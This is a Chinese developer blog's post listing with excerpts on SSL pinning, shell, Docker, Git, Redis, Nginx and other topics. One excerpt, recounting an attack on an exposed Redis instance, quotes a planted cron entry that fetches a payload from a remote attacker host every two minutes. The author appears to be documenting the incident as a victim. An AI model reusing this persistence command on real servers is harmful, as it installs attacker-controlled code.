- 博客(72)
- 收藏
- 关注
转载 证书锁定SSL Pinning
在公共网络中通知我们使用安全的SSL/TLS通信协议来进行通信,并且使用数字证书来提供加密和认证我们知道握手环节仍然面临(MIM中间人)攻击的可能性,因为CA证书签发机构也存在被黑客入侵的可能性,同时移动设备也面临内置证书被篡改的风险。证书锁定旨在解决移动端APP与服务端通信的唯一性实际通信过程中,如果锁定过程失败,那么客户端APP将拒绝针对服务器的所有 SSL/TLS 请求FaceBook/Twitter则通过证书锁定以防止Charles/Fiddler等抓包工具中间人攻击。
2023-10-27 16:33:34
1725
原创 tmux入门
tmux入门启动与退出# 进入tmux窗口tmux# 退出tmux窗口exit 或 ctrl+d会话管理# 新建一个指定名称的会话tmux new -s <session-name># 会话与窗口分离(退出当前 Tmux 窗口,但是会话和里面的进程仍然在后台运行。)tmux detach 或 ctrl+d b# 查看当前所有的 Tmux 会话tmux ls# 接入会话tmux attach -t <session-name># 切换会话t
2022-05-07 21:48:54
971
原创 SSRF服务端请求伪造
SSRF服务端请求伪造背景在做一个需求,需要通过url与库内数据做匹配,然后记录匹配结果。但是部分url是重定向的url,重定向之前的url与库中无法匹配,重定向之后的url可以与库中匹配,所以代码中有一段重定向的代码逻辑httpClient = &http.Client{ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
2022-01-21 23:46:30
2730
原创 java-linux安装
Centos中安装java下载java8wget https://download.oracle.com/otn/java/jdk/8u311-b11/4d5417147a92418ea8b615e228bb6935/jdk-8u311-linux-aarch64.tar.gz创建/usr/local/java目录,并将压缩包解压到其中tar -zxvf jdk-8u311-linux-aarch64.tar.gz -C /usr/local/java编辑环境变量,在/etc/pr
2022-01-11 11:45:44
430
原创 linux shell
变量定义、输出foo=barecho $fooecho ${foo}echo ${foo}barbarbar使用$()执行命令# echo $(command)echo $(pwd)foo=$(pwd)echo $foo使用特殊变量echo $? # 输出问题$0 # 文件名$1 to $9 # 脚本参数$# # 参数个数$? # 方法返回值,0代表正常$@ # 所有的参数$HOME # 用户
2022-01-10 17:02:38
119
原创 Linux常用命令
变量自增a=1a=$((a+1))a=$(($a+1))a=$[a+1]vima=$[$a+1]grephistory$grep程序, 在没有参数的情况下, 输出包含RE字符串的句子$ grep 搜索的文字 文件或目录$ grep -r 搜索的文字 文件或目录 # 以递归的方式查找符合条件的文件$ grep -v 搜搜的文字 文件或目录 # 反向查找,找出不符合条件的文件# 搜索含有文字1或者文字2的文件$
2022-01-10 17:01:59
591
原创 ssh原理
SSH验证问题今天重置阿里云服务器,用ssh连服务器,发现连不上,防火墙也打开了,猜测服务器没有开启ssh服务器开启ssh步骤要确保CentOS7安装了 openssh-server,在终端中输入 yum list installed | grep openssh-server如果又没任何输出显示表示没有安装 openssh-server,通过输入 yum install openssh-server找到了 /etc/ssh/ 目录下的sshd服务配置文件 sshd_conf
2022-01-10 16:59:23
213
原创 docker再入门
DOCKER(参考)操作镜像拉取镜像$ docker pull [选项] [Docker Registry 地址[:端口号]/]仓库名[:标签]# 比如$ docker pull ubuntu:18.0418.04: Pulling from library/ubuntu92dc2a97ff99: Pull completebe13a9d27eb8: Pull completec8299583700a: Pull completeDigest: sha256:4bc3ae6596938
2022-01-07 23:52:42
987
原创 devops
DevOps工作中,或多或少都听别人聊到过DevOps、瀑布开发、敏捷开发、持续集成、持续交付这些概念,今天来仔细探究一下这些单词。参考一遍不错的文章,讲的很深入浅出:DevOps到底是什么意思?起源一个软件从零开始到最终交付,大概包括以下几个阶段:规划、编码、构建、测试、发布、部署和维护最初,程序比较简单,工作量不大,程序员一个人可以完成所有阶段的工作。随着软件产业的日益发展壮大,软件的规模也在逐渐变得庞大。软件的复杂度不断攀升。一个人已经hold不住了,就开始出现了精细化分工。
2021-12-30 15:19:11
594
原创 git进阶
Git 进阶本地操作# 创建分支,并切换分支git branch newImagegit checkout newImage# 创建分支,并切换分支git checkout -b newImagemerge# 把bugFix分支merge到maingit checkout maingit merge bugFixrebase# 把bugFix分支里的工作移动到main分支上git checkout bugFixgit rebase main# 此时bugFix在main前
2021-12-09 13:12:55
201
原创 redis cluster 重新分片
redis cluster 重新分片redis cluster 重新分片什么是重新分片?实现原理ASK重定向参考:redis cluster 重新分片面试时,可以和面试官聊到redis集群模式中的哈希槽的作用,但是再深点,redis重新分片时,访问被迁移的数据会有问题吗?redis是怎么做的?就答不上来了,故在此总结一下。什么是重新分片?Redis集群的重新分片操作可以将任意数量已经指派给某个节点(源节点)的槽改为指派给另一个节点(目标节点),并且相关槽所属的键值对也会从源节点移动到目标节点。
2021-09-18 00:08:36
562
原创 learn-shell
变量定义、输出foo=barecho $fooecho ${foo}echo ${foo}barbarbar使用$()执行命令# echo $(command)echo $(pwd)foo=$(pwd)echo $foo使用特殊变量echo $? # 输出问题$0 # 文件名$1 to $9 # 脚本参数$# # 参数个数$? # 方法返回值,0代表正常$@ # 所有的参数$HOME # 用户
2021-09-10 10:49:53
157
原创 shell入门
变量定义、输出foo=barecho $fooecho ${foo}echo ${foo}barbarbar使用$()执行命令# echo $(command)echo $(pwd)foo=$(pwd)echo $foo使用特殊变量echo $? # 输出问题$0 # 文件名$1 to $9 # 脚本参数$# # 参数个数$? # 方法返回值,0代表正常$@ # 所有的
2021-09-10 10:40:04
92
原创 TIME_WAIT和CLOSE_WAIT
查看命令查看TIME_WAIT和CLOSE_WAIT状态的连接数量netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 显示结果:TIME_WAIT 6CLOSE_WAIT 1含义TCP常用的三个状态是:ESTABLISHED 表示正在通信,TIME_WAIT 表示主动关闭,CLOSE_WAIT 表示被动关闭。TCP协议规定,对于已经建立的连接,网络双方要进行四次握手才能成功断开连接,如果缺少了其中某个步
2021-09-09 17:58:49
156
原创 Java 操作ElasticSearch
Java 操作ElasticSearch1、连接ElasticSearch服务器@Configurationpublic class ElasticSearchClientConfig { private static final String CLUSTER_NAME = "*******************************"; private static final String APP_KEY = "******************************";
2021-07-06 15:33:50
827
原创 DevOps
1、简介CI / CD的采用改变了开发人员和测试人员如何发布软件。最初是瀑布模型,后来是敏捷开发,现在是DevOps,这是现代开发人员构建出色的产品的技术路线。随着DevOps的兴起,出现了持续集成(Continuous Integration)、持续交付(Continuous Delivery) 、持续部署(Continuous Deployment) 的新方法。传统的软件开发和交付方法正在迅速变得过时。从历史上看,在敏捷时代,大多数公司会每月,每季度,每两年甚至每年发布部署
2021-07-04 19:54:13
156
原创 MVCC多版本并发控制
MVCC1.概要MVCC(Muti-Version Concurrency Control)作用:在数据库管理系统中,实现对数据库的并发访问原理:维护一个数据的多个版本,使没有读-写冲突概念好处:读-写冲突不加锁,降低开销,提高并发性能2.Innodb实现原理MVCC其实是一个概念。MySQL使用快照读来实现MVCC概念中的一个非阻塞读功能。2.1 快照读和当前读当前读:读取记录的最新版本读取时要保证和其他事务不能并发修改,通过加锁实现select lock in shar
2021-06-07 16:57:51
169
原创 脏读、不可重复读、幻读
MySQL实践第一次遇到mysql的deadlock1. 实验准备1.1 常用mysql事务命令set autocommit=0;start transaction;commit;rollback;-- mysql 5.6 查看隔离级别select @@session.tx_isolation;select @@global.tx_isolation;-- mysql 8.0 查看隔离级别select @@session.transaction_isolation;selec
2021-06-07 14:51:34
215
1
转载 Maven 配置文件、实战
【转载】Maven 配置文件推荐阅读Maven 实战小结1、起因写这篇文章起源于同事一个问题,大概就是进入咱们公司之后,会统一发 maven 的 settings.xml 文件,直接覆盖 maven 自带的就可以正常使用。然后他想知道其中为什么既要配 repository、server 还要配 mirror?这些配置属性含义是什么?这几者之间是什么关系?配了多个 repository 之后查找 jar 的先后顺序是什么?结合 mirror 又会怎么查找?虽然之前有把 Maven 这块作过系统的笔记
2021-05-23 21:57:22
229
转载 【转载】java序列化,看这篇就够了
【转载】java序列化,看这篇就够了一、序列化的含义、意义及使用场景序列化:将对象写入到IO流中反序列化:从IO流中恢复对象意义:序列化机制允许将实现序列化的Java对象转换位字节序列,这些字节序列可以保存在磁盘上,或通过网络传输,以达到以后恢复成原来的对象。序列化机制使得对象可以脱离程序的运行而独立存在。**使用场景:所有可在网络上传输的对象都必须是可序列化的,**比如RMI(remote method invoke,即远程方法调用),传入的参数或返回的对象都是可序列化的,否则会
2021-05-22 23:25:36
224
原创 awk 简单用法
AWK学习基本内容背景:awk是处理文本文件的一个应用程序,几乎所有 Linux 系统都自带这个程序。它依次处理文件的每一行,并读取里面的每一个字段。对于日志、CSV 那样的每行格式相同的文本文件,awk可能是最方便的工具。# 格式$ awk 动作 文件名# 示例$ awk '{print $0}' demo.txt# 含义$0: 表示当前行$1 $2 $3: 分别表示当前行的第1、2、3个字段NF: 变量 表示当前行有多少个字段$NF: 表示最后一个字段指定分隔符#
2021-05-04 16:41:43
152
转载 MySQL游标
MySQL 游标游标的特性不敏感:数据库可以选择不复制结果集只读不滚动:游标只能向一方向前进,并且不可以跳过任何一行数据游标的优点游标是针对行操作的,对从数据库中 select 查询得到的结果集的 每一行可以进行分开的独立的相同或者不相同的操作,是一种分离的思想。游标的缺点性能不高只能一行一行操作使用游标会产生死锁,造成内存开销大游标的适用场景存储过程函数触发器事件游标的操作1、游标的定义DECLARE
2021-05-04 12:16:41
204
原创 MAC远程连接Windows
MAC远程连接WIN步骤一将windows升级到专业版,家庭版的windows不支持远程连接。升级的方法可以自己到网上查找相关的激活码,或者某宝上购买,大概十几块步骤二将windows升级到专业版之后:打开文件资源管理器右键“此电脑”,选择属性选择左侧的远程桌面,开启远程桌面win键+R → 输入regedit → 进入注册表,找到以下两个分支选项: (注意下面的这两个分支是不相同的)HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
2021-04-27 23:41:11
3200
原创 卸载wordpress
卸载wordpress由于项目需要,需要使用阿里云的个人服务器的80端口,但是之前配置过wordpress(个人博客)占用了这个端口,当然基本已经放弃使用wordpress了。于是这里记录一下卸载过程1、删除数据库# mysql -uroot -p# 密码# show databases;# drop database wordpress;# exit2、删除wordpress目录cd /var/www/html/rm -rf *简单回顾一下:如果/usr是安装时会占用较大硬
2021-04-20 16:36:00
3685
原创 docker
Docker安装Docker环境准备1、需要会linux基础2、CentOS 73、使用Xshell链接远程服务器进行操作环境查看# 系统内核是 3.10 以上的[root@iz2ze50r0dljy72rs9ihxwz /]# uname -r3.10.0-514.26.2.el7.x86_64# 系统版本[root@iz2ze50r0dljy72rs9ihxwz /]# cat /etc/os-release NAME="CentOS Linux"VERSION="7
2021-04-20 13:17:01
166
原创 跨域 以及 shiro解决
跨域 以及 shiro解决同源策略:协议、域名、端口作用:能帮助阻隔恶意文档,减少可能被攻击的媒介。# 但也导致了跨域的问题的出现:前后端分离# 前端访问后端,不满足同源策略,所以不能访问1、反向代理解决# 配置反向代理来实现跨域# 前端访问代理# 代理访问后端# 代理将结果返回给前端# 从而实现了跨域2、CORS跨域CORS(Cross-Origin Resource Sharing)跨域资源共享,定义了必须在访问跨域资源时,浏览器与服务器应该如何沟通。CORS的基本思想就
2021-04-13 01:21:02
3942
原创 JWT
JWTJWT ----- Json Web Token编码、签名(摘要)、加密# 编码1、解码是为了方便以字节的方式表示数据2、编码和解码的整个过程是可逆的,得知编码方式后,整个 jwt 串便是明文了3、base64# 签名1、签名的目的主要是避免消息被篡改2、将消息和签名算法生成的签名发给客户端3、客户端用相同的密钥将消息签名,然后对比两个签名(相同的密钥应该是通过rsa先商量好)4、签名算法共同的特点是整个过程是不可逆的5、使用带有密钥的签名算法,密钥是服务器和签发者共
2021-04-12 21:15:49
301
原创 Nginx
Nginx常用命令nginx -t # 查看nginx状态nginx -s reload # 重新载入配置文件nginx -s reopen # 重启 Nginxnginx -s stop # 停止 Nginxnginx正则匹配 参考语法规则:location [=|~|~*|^~|!~|!~*] /uri/ { … }模式含义location = /uri= 表示精确匹配loc
2021-04-12 17:53:54
127
原创 http1.0 1.1 2.0
HTTP1.0和1.1区别长连接HTTP 1.0需要使用keep-alive参数来告知服务器端要建立一个长连接,而HTTP1.1默认支持长连接。创建一个TCP连接是需要经过三次握手的,有一定的开销,如果每次通讯都要重新建立连接的话,对性能有影响。因此最好能维持一个长连接,可以用一个长连接来发多个请求。节约带宽HTTP 1.1支持只发送header信息(不带任何body信息),如果服务器认为客户端有权限请求服务器,则返回100,否则返回4开头的这个状态码实际上是对如下场景的一种优化:客户端有
2021-04-03 01:24:04
470
转载 SLB负载均衡
SLB : service load balancer1、负载均衡解决方案基于DNS负载均衡基于硬件负载均衡基于软件负载均衡# DNS负载均衡可以实现在地域上的流量均衡# 硬件负载均衡主要用于大型服务器集群中的负载需求# 软件负载均衡大多是基于机器层面的流量均衡# 在实际场景中,这三种是可以组合在一起使用。2、DNS负载均衡原理1、当用户访问域名的时候,会先向DNS服务器去解析域名对应的IP地址2、DNS服务器根据不同地理位置的用户返回不同的IP。3、比如南
2021-03-30 23:14:34
3702
原创 Git+SSH
Git1、版本控制SVN 集中式的版本控制系统,版本库集中放在中央服务器,工作的时候需要联网Git是分布式的版本控制系统,没有中央服务器,每个人的电脑就是一个完整的版本库。工作的时候不需要联网2、命令# 查看系统configgit config --system --list# 查看当前用户(global)配置git config --global --list# 编辑配置文件git config --global -egit config --global user.name
2021-03-26 13:41:05
557
原创 Spring Boot缓存-原理与实现
Springboot 缓存1、JSR-107Spring从3.1开始定义了org.springframework.cache.Cache和org.springframework.cache.CacheManager接口来统一不同的缓存技术;并支持使用JCache(JSR-107)注解简化我们开发;1 Cache接口为缓存的组件规范定义,包含缓存的各种操作集合;2 Cache接口下Spring提供了各种xxxCache的实现,如RedisCache,EhCacheCache ,Concurrent
2021-03-26 01:11:24
357
转载 逃逸分析的好处
逃逸分析转载于:对象和数组并不是都在堆上分配内存的。随着JIT编译期的发展与逃逸分析技术逐渐成熟,栈上分配、标量替换优化技术将会导致一些微妙的变化,所有的对象都分配到堆上也渐渐变得不那么“绝对”了。1、什么是逃逸分析1、逃逸分析(Escape Analysis)是目前Java虚拟机中比较前沿的优化技术。2、是一种可以有效减少Java 程序中同步负载和内存堆分配压力的跨函数全局数据流分析算法。3、通过逃逸分析,Java Hotspot编译器能够分析出一个新的对象的引用的使用范围从而决定是否要将
2021-03-25 20:49:36
430
原创 redis 入门+掌握
Redis1、为什么要用Nosql大数据----一般的数据库无法分析处理了2006 年, hadoop就已经发布了SpringBoot + SpringCloud一定要逼着自己学习,压力越来越大,适者生存1、单继Mysql的年代1、一个基本的网站访问量不会太大,单个数据库完全足够2、服务器没有太大压力思考:这种网站的瓶颈是什么?1、数据量如果太大,一个机器放不下2、数据的索引,mysql单表超过300万数据,就一定要建立索引。3、数据库的访问量太大了,服务器承载不了只要出现以
2021-03-19 14:46:20
761
2
原创 Redis 6379 被攻击
Redis 6379 被攻击刚开始使用redis,把端口打开了,然后没有设置密码,导致被恶意攻击,这里记录一下。[root@realguo ~]# redis-cli127.0.0.1:6379> keys *1) "backup2"2) "backup1"3) "backup4"4) "backup3"127.0.0.1:6379> get backup1"\n\n\n*/2 * * * * root cd1 -fsSL http://zzhreceive.anondn
2021-03-18 10:27:01
2226
4
原创 验证码验证 + 单点登录简单理解
注册时验证码验证 问题情景:在开发速印后端的时候,有发验证码验证这一环节,当时是把验证码发给前端和用户,然后前端来判断是否匹配。现在又回到了这个问题,正常来说,肯定是后端来验证这个验证码,那要怎么验证呢?cookie + session,用户申请账号时,设置一个cookie,然后用户传来验证码时,通过cookie来判断这个用户对应的验证码是哪个可能描述的不是很清楚,再描述一下问题:如果多个用户同时注册,怎么区分每个用户对应哪个验证码呢?1、验证码的有效期放在redis上面,key就是c
2021-03-17 20:15:19
869
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人